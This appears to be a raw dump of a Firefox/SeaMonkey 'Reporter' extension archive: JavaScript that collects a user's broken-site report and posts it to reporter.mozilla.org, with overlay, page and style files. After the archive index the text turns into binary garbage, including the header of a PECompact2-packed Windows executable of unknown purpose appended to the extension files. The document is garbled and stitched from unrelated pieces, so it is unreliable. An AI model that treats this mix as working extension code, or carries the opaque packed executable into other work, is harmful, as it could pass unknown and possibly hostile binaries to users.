function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
